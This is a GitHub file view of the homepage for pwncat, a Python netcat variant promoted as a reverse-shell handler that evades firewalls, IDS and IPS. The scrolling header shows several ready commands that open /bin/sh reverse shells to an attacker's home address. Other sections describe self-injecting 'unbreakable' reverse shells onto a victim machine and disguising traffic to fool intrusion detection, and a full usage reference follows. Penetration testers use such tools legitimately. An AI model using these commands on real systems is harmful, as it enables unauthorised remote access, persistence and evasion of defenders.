forked from cytopia/pwncat
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
690 lines (639 loc) · 30.9 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="author" content="cytopia">
<meta name="description" content="Pwncat - Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and forwarding magic - and its fully scriptable with Python">
<meta name="keywords" content="pwncat, reverse shell handler, reverse shell, bind shell, self-injecting shell, inject shell, unbreakable reverse shell, UDP reverse shell, pwncat scripting engine, IDS evasion, IPS evasion, Firewall evasion, netcat">
<title>pwncat - reverse shell handler with all netcat features</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/mini.css/3.0.1/mini-default.min.css">
<style>
html, body {
font-size: 1.1rem;
}
body, header, div, blockquote, table th, table td, a, a:link, a:visited, a:active, [type="checkbox"].drawer+* {
background-color:#000;
color:#006400;
/*color:#74d274;*/
border:0px;
}
pre, code {
color:#74d274;
background-color: #282a28;
}
pre {
border: 10px solid black;
max-width:900px;
}
.hover, h1:hover, h2:hover, a:hover, pre:hover, code:hover {
color: #00FF00 !important;
cursor: url("https://s3-us-west-2.amazonaws.com/s.cdpn.io/9632/happy.png"), auto;
}
h1 {
margin: 5px;
padding: 0;
}
li {
list-style-type: none;
}
marquee.headline {
}
marquee.headline.outter {
height: 110px;
margin:0px;
}
marquee.headline.inner {
width: 260px;
}
.card {
/*background-color: #282a28;*/
background-color: #000000;
border: 0;
}
.card>.section.dark {
/*--card-back-color: #282a28;*/
--card-back-color: #000000;
color: #006400;
border:0;
}
@media only screen and (max-width: 1200px) {
html, body {
font-size: 1.0rem;
}
}
@media only screen and (max-width: 880px) {
html, body {
font-size: 0.9rem;
}
}
@media only screen and (max-width: 800px) {
html, body {
font-size: 0.8rem;
}
}
@media only screen and (max-width: 600px) {
html, body {
font-size: 0.7rem;
}
}
@media only screen and (max-width: 525px) {
html, body {
font-size: 0.6rem;
}
}
@media only screen and (max-width: 460px) {
html, body {
font-size: 0.5rem;
}
}/*
a:link, a:visited, a:active {
color: #006400;
}*/
</style>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-60914146-3');
</script>
</head>
<body>
<header class="sticky">
<marquee behavior="alternate">
<small>
<code class="hi">pwncat -n -e /bin/sh {home-addr} {home-port}</code> ##########
<code class="hi">pwncat -n --reconn --recon-robin 4000-4100 -e /bin/sh {home-addr} {home-port}</code> ##########
<code class="hi">pwncat -n --udp --udp-ping-intvl 30 -e /bin/sh {home-addr} {home-port}</code> ##########
<code class="hi">pwncat -n --safe-word 'all your base are belong to us' --udp --udp-ping-intvl 2 -e /bin/sh {home-addr} {home-port}</code> ##########
<code class="hi">pwncat -l -vvv 4444 2> comm.txt</code> ##########
<code class="hi">pwncat -u --reconn -R 56.0.0.1:4444 10.0.0.1 3306</code>
</small>
</marquee>
</header>
<!-- I really suck at HTML. Feel free to PR-fix this :) -->
<div class="container">
<div class="row">
<label for="drawer-control" class="drawer-toggle"></label>
<input type="checkbox" id="drawer-control" class="drawer"/>
<div class="cols-sm-12 col-md-2">
<label for="drawer-control" class="drawer-close"></label>
<img style="height:160px;" src="https://raw.githubusercontent.com/cytopia/pwncat/master/art/logo.png" title="pwncat" alt="pwncat logo" />
<ul>
<li><span class="icon-home secondary"></span> <a href="https://github.com/cytopia/pwncat">github</a></li>
<li><span class="icon-settings secondary"></span> <a href="https://github.com/cytopia/pwncat/tree/master/pse">pse</a></li>
<li><span class="icon-edit secondary"></span> <a href="https://github.com/cytopia/pwncat/blob/master/bin/pwncat">src</a></li>
<li><span class="icon-help secondary"></span> <a href="https://cytopia.github.io/pwncat/pwncat.api.html">api</a></li>
<li><span class="icon-info secondary"></span> <a href="https://cytopia.github.io/pwncat/pwncat.man.html">man</a></li>
<li> </li>
<li><a target="_blank" href="https://github.com/cytopia/pwncat"><img src="https://img.shields.io/github/stars/cytopia/pwncat?style=social" /></a></li>
<li><a href="https://pypi.org/project/pwncat/"><img src="https://img.shields.io/pypi/dm/pwncat?style=social" /></a></li>
</ul>
</div>
<div class="col-sm-12 col-md-10">
<marquee class="headline outter" direction="down" class="headline" behavior="alternate">
<marquee class="headline inner" direction="left" behavior="alternate">
<h1 style="font-size:72px;">pwncat</h1>
</marquee>
</marquee>
<p><code>pwncat</code> is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to <code>netcat</code>, <code>ncat</code> or <code>socat</code>.</p>
<br/>
<blockquote cite="github.com/cytopia/pwncat">
pwncat is like netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and forwarding magic - and its fully scriptable with Python (<a href="https://github.com/cytopia/pwncat/tree/master/pse">PSE</a>)
</blockquote>
<br/>
<h2>Get it</h2>
<div class="row">
<div class="card small" style="text-align:center">
<div class="section dark">
<h4><a href="https://pypi.org/project/pwncat/">Pip</a></h4>
<p><a href="https://pypi.org/project/pwncat/"><img src="https://raw.githubusercontent.com/cytopia/icons/master/64x64/python.png" /></a></p>
<p><pre style="overflow:hidden;">pip install pwncat</pre></p>
</div>
</div>
<div class="card small" style="text-align:center">
<div class="section dark">
<h4><a href="https://aur.archlinux.org/packages/pwncat/">ArchLinux</a></h4>
<p><a href="https://aur.archlinux.org/packages/pwncat/"><img src="https://raw.githubusercontent.com/cytopia/icons/master/64x64/archlinux.png" /></a></p>
<p><pre style="overflow:hidden;">yay -S pwncat</pre></p>
</div>
</div>
<div class="card small" style="text-align:center">
<div class="section dark">
<h4><a href="https://www.blackarch.org/tools.html">BlackArch</a></h4>
<p><a href="https://www.blackarch.org/tools.html"><img src="https://raw.githubusercontent.com/cytopia/icons/master/64x64/blackarch.png" /></a></p>
<p><pre style="overflow:hidden;">pacman -S pwncat</pre></p>
</div>
</div>
<div class="card small" style="text-align:center">
<div class="section dark">
<h4><a href="https://formulae.brew.sh/formula/pwncat#default">MacOS</a></h4>
<p><a href="https://formulae.brew.sh/formula/pwncat#default"><img src="https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png" /></a></p>
<p><pre style="overflow:hidden;">brew install pwncat</pre></p>
</div>
</div>
</div>
<br/><br/>
<h2>Inject to target</h2>
<p>If you found a vulnerability on the target to start a very simple reverse shell,
such as via bash, php, perl, python, nc or similar, you can instruct your local
pwncat listener to use this connection to deploy itself on the target automatically
and start four additional unbreakable reverse shells back to you.</p>
<pre class="hi">
pwncat -l 4444 --self-inject /bin/sh:10.0.0.1:4445+3
</pre>
<br/><br/>
<h2>In Action</h2>
<div class="row">
<div class="card large">
<div class="section dark">
<p><a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=1">unbreakable reverse shells - how to spawn</a></p>
</div>
<a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=1"><img src="img/video01.png" class="section media"/></a>
</div>
<div class="card large">
<div class="section dark">
<p><a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2">unbreakable reverse shells - indefinite shells</a></p>
</div>
<a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img src="img/video02.png" class="section media"/></a>
</div>
</div>
<br/><br/>
<h2>Features</h2>
<div class="row">
<div class="card large">
<div class="section dark">
<h4>PSE</h4>
<p>Fully Python scriptable with Pwncat Scripting Engine to allow all kinds of stuff on send and receive actions</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Self-injecting reverse shell</h4>
<p>Self-injecting mode to deploy itself and auto-start multiple unbreakable reverse shells back to you</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Unbreakable reverse shell</h4>
<p>Reverse shell will reconnect to you if you accidentally hit <kbd>Ctrl</kbd>+<kbd>c</kbd></p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>UDP reverse shell</h4>
<p>This works by adding TCP-like stateful features to it. Try this with the traditional <code>netcat</code></p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Bind shell</h4>
<p>Create normal bind shells for any operating system over IPv4, IPv6 or both</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Reverse shell</h4>
<p>Create normal reverse shells for any operating system over IPv4, IPV6 or both</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Port scanning with version detection</h4>
<p>Built-in version detection while doing a TCP or UDP port scan.</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Local port forward</h4>
<p>Allows for stable local port forward by acting as a proxy server</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>SSH-less Remote port forward</h4>
<p>Allows for stable remote port forward by acting as a double client proxy</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Detect EGRESS firewalls</h4>
<p>Scan and report outbound open ports via port hopping connections</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Evade EGRESS firewalls</h4>
<p>Evade EGRESS firewalls with outbound round-robin reverse shells</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Evade IDS</h4>
<p>Wrap your traffic into any other protocol or self-encrypt it</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Evade IPS</h4>
<p>Handle IPS by to choose new target ports on connection loss/cut</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>IPv4 and IPv6</h4>
<p>IPv4 and IPv6 dual-stack support - autodetect whatever a server offers</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>TCP and UDP</h4>
<p>Any feature is available via both protocols: TCP and UDP</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Stateful UDP</h4>
<p>Stateful connect phase for UDP client mode - allows your listener to detect a connecting client.</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>netcat / ncat compatibility</h4>
<p>Use <code>netcat</code> or <code>ncat</code> exchangably with <code>pwncat</code> in server or client mode</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>All Python versions supported</h4>
<p><code>pwncat</code> works with Python 2,7, 3.5, 3.6, 3.7, 3.8 and even with pypy2 and pypy</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>No libraries required</h4>
<p><code>pwncat</code> is written only with Python core libraries to allow it to run without having to install something</p>
</div>
</div>
<div class="card large">
<div class="section dark">
<h4>Cross OS</h4>
<p>Works and is tested on various Linux, MacOS and Windows versions - as long as Python is available</p>
</div>
</div>
</div>
<br/><br/>
<h2>Artwork</h2>
<div class="row">
<div class="card large">
<div class="section dark">
<h4>Logo</h4>
</div>
<a href="https://raw.githubusercontent.com/cytopia/pwncat/master/art/logo.png"><img style="height:128px;" height="128" src="https://raw.githubusercontent.com/cytopia/pwncat/master/art/logo.png" /></a>
</div>
<div class="card large">
<div class="section dark">
<h4>Banner 1</h4>
</div>
<a href="https://raw.githubusercontent.com/cytopia/pwncat/master/art/banner-1.png"><img style="height:128px;" height="128" src="https://raw.githubusercontent.com/cytopia/pwncat/master/art/banner-1.png" /></a>
</div>
<div class="card large">
<div class="section dark">
<h4>Banner 2</h4>
</div>
<a href="https://raw.githubusercontent.com/cytopia/pwncat/master/art/banner-2.png"><img style="height:128px;" height="128" src="https://raw.githubusercontent.com/cytopia/pwncat/master/art/banner-2.png" /></a>
</div>
</div>
<br/><br/>
<h2>Usage</h2>
<pre>
usage: pwncat [options] hostname port
pwncat [options] -l [hostname] port
pwncat [options] -z hostname port
pwncat [options] -L [addr:]port hostname port
pwncat [options] -R addr:port hostname port
pwncat -V, --version
pwncat -h, --help
</pre>
<pre class="hi">
Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.
If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.
</pre>
<pre class="hi">
positional arguments:
hostname Address to listen, forward, scan or connect to.
port [All modes]
Single port to listen, forward or connect to.
[Zero-I/O mode]
Specify multiple ports to scan:
Via list: 4444,4445,4446
Via range: 4444-4446
Via incr: 4444+2
</pre>
<pre class="hi">
mode arguments:
-l, --listen [Listen mode]:
Start a server and listen for incoming connections.
If using TCP and a connected client disconnects or the
connection is interrupted otherwise, the server will
quit. See -k/--keep-open to change this behaviour.
-z, --zero [Zero-I/0 mode]:
Connect to a remote endpoint and report status only.
Used for port scanning.
See --banner for version detection.
-L [addr:]port, --local [addr:]port
[Local forward mode]:
This mode will start a server and a client internally.
The internal server will listen locally on specified
addr/port (given by --local [addr:]port).
The server will then forward traffic to the internal
client which connects to another server specified by
hostname/port given via positional arguments.
(I.e.: proxies a remote service to a local address)
-R addr:port, --remote addr:port
[Remote forward mode]:
This mode will start two clients internally. One is
connecting to the target and one is connecting to
another pwncat/netcat server you have started some-
where. Once connected, it will then proxy traffic
between you and the target.
This mode should be applied on machines that block
incoming traffic and only allow outbound.
The connection to your listening server is given by
-R/--remote addr:port and the connection to the
target machine via the positional arguments.
</pre>
<pre class="hi">
optional arguments:
-e cmd, --exec cmd Execute shell command. Only for connect or listen mode.
-C lf, --crlf lf Specify, 'lf', 'crlf' or 'cr' to always force replacing
line endings for input and outout accordingly. Specify
'no' to completely remove any line feeds. By default
it will not replace anything and takes what is entered
(usually CRLF on Windows, LF on Linux and some times
CR on MacOS).
-n, --nodns Do not resolve DNS.
--send-on-eof Buffer data received on stdin until EOF and send
everything in one chunk.
--no-shutdown Do not shutdown into half-duplex mode.
If this option is passed, pwncat won't invoke shutdown
on a socket after seeing EOF on stdin. This is provided
for backward-compatibility with OpenBSD netcat, which
exhibits this behavior.
-v, --verbose Be verbose and print info to stderr. Use -v, -vv, -vvv
or -vvvv for more verbosity. The server performance will
decrease drastically if you use more than three times.
--info type Show additional info about sockets, IPv4/6 or TCP opts
applied to the current socket connection. Valid
parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
Note, you must at least be in INFO verbose mode in order
to see them (-vv).
-c str, --color str Colored log output. Specify 'always', 'never' or 'auto'.
In 'auto' mode, color is displayed as long as the output
goes to a terminal. If it is piped into a file, color
will automatically be disabled. This mode also disables
color on Windows by default. (default: auto)
--safe-word str All modes:
If pwncat is started with this argument, it will shut
down as soon as it receives the specified string. The
--keep-open (server) or --reconn (client) options will
be ignored and it won't listen again or reconnect to you.
Use a very unique string to not have it shut down
accidentally by other input.
</pre>
<pre class="hi">
protocol arguments:
-4 Only Use IPv4 (default: IPv4 and IPv6 dualstack).
-6 Only Use IPv6 (default: IPv4 and IPv6 dualstack).
-u, --udp Use UDP for the connection instead of TCP.
-T str, --tos str Specifies IP Type of Service (ToS) for the connection.
Valid values are the tokens 'mincost', 'lowcost',
'reliability', 'throughput' or 'lowdelay'.
--http Connect / Listen mode (TCP and UDP):
Hide traffic in http packets to fool Firewalls/IDS/IPS.
--https Connect / Listen mode (TCP and UDP):
Hide traffic in https packets to fool Firewalls/IDS/IPS.
-H [str [str ...]], --header [str [str ...]]
Add HTTP headers to your request when using --http(s).
</pre>
<pre class="hi">
command & control arguments:
--self-inject cmd:host:port[s]
Listen mode (TCP only):
If you are about to inject a reverse shell onto the
victim machine (via php, bash, nc, ncat or similar),
start your listening server with this argument.
This will then (as soon as the reverse shell connects)
automatically deploy and background-run an unbreakable
pwncat reverse shell onto the victim machine which then
also connects back to you with specified arguments.
Example: '--self-inject /bin/bash:10.0.0.1:4444'
It is also possible to launch multiple reverse shells by
specifying multiple ports.
Via list: --self-inject /bin/sh:10.0.0.1:4444,4445,4446
Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
Via incr: --self-inject /bin/sh:10.0.0.1:4444+2
Note: this is currently an experimental feature and does
not work on Windows remote hosts yet.
</pre>
<pre class="hi">
pwncat scripting engine:
--script-send file All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed before
sending data to a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
# NOTE: the function name must be 'transform'
# NOTE: the function param name must be 'data'
# NOTE: indentation must be 4 spaces
# ... your transformations goes here
return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
--script-recv file All modes (TCP and UDP):
A Python scripting engine to define your own custom
transformer function which will be executed after
receiving data from a remote endpoint. Your file must
contain the exact following function which will:
be applied as the transformer:
def transform(data, pse):
# NOTE: the function name must be 'transform'
# NOTE: the function param name must be 'data'
# NOTE: indentation must be 4 spaces
# ... your transformations goes here
return data
You can also define as many custom functions or classes
within this file, but ensure to prefix them uniquely to
not collide with pwncat's function or classes, as the
file will be called with exec().
</pre>
<pre class="hi">
zero-i/o mode arguments:
--banner Zero-I/O (TCP and UDP):
Try banner grabbing during port scan.
</pre>
<pre class="hi">
listen mode arguments:
-k, --keep-open Listen mode (TCP only):
Re-accept new clients in listen mode after a client has
disconnected or the connection is unterrupted otherwise.
(default: server will quit after connection is gone)
--rebind [x] Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).
--rebind-wait s Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)
--rebind-robin port Listen mode (TCP and UDP):
If the server is unable to initialize (e.g: cannot bind
and --rebind is specified, it it will shuffle ports in
round-robin mode to bind to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.
</pre>
<pre class="hi">
connect mode arguments:
--source-addr addr Specify source bind IP address for connect mode.
--source-port port Specify source bind port for connect mode.
--reconn [x] Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Note on UDP:
By default UDP does not know if it is connected, so
it will stop at the first port and assume it has a
connection. Consider using --udp-sconnect with this
option to make UDP aware of a successful connection.
--reconn-wait s Connect mode (TCP and UDP):
Wait x seconds between re-connects. (default: 1)
--reconn-robin port Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted and --reconn is specified, the client
will shuffle ports in round-robin mode to connect to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --reconn to at least the number of ports to probe +1
This helps reverse shell to evade intrusiona prevention
systems that will cut your connection and block the
outbound port.
This is also useful in Connect or Zero-I/O mode to
figure out what outbound ports are allowed.
--ping-init Connect mode (TCP and UDP):
UDP is a stateless protocol unlike TCP, so no hand-
shake communication takes place and the client just
sends data to a server without being "accepted" by
the server first.
This means a server waiting for an UDP client to
connect to, is unable to send any data to the client,
before the client hasn't send data first. The server
simply doesn't know the IP address before an initial
connect.
The --ping-init option instructs the client to send one
single initial ping packet to the server, so that it is
able to talk to the client.
This is a way to make a UDP reverse shell work.
See --ping-word for what char/string to send as initial
ping packet (default: '\0')
--ping-intvl s Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait
for the client to report back in. This might be handy
for stable UDP reverse shells ;-)
See --ping-word for what char/string to send as initial
ping packet (default: '\0')
--ping-word str Connect mode (TCP and UDP):
Change the default character '\0' to use for upd ping.
Single character or strings are supported.
--ping-robin port Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round-robin mode for a remote server to ping.
This might be handy to scan outbound allowed ports.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Use --ping-intvl 0 to be faster.
--udp-sconnect Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if
it is actually connected.
By default, UDP will simply issue a connect and is not
aware if it is really connected or not.
The default connect packet to be send is '\0', you
can change this with --udp-sconnect-word.
--udp-sconnect-word [str]
Connect mode (UDP only):
Change the the data to be send for UDP stateful connect
behaviour. Note you can also omit the string to send an
empty packet (EOF), but be aware that some servers such
as netcat will instantly quit upon receive of an EOF
packet.
The default is to send a null byte sting: '\0'.
</pre>
<pre class="hi">
misc arguments:
-h, --help Show this help message and exit
-V, --version Show version information and exit
</pre>
</div>
</div>
</div>
</body>
</html>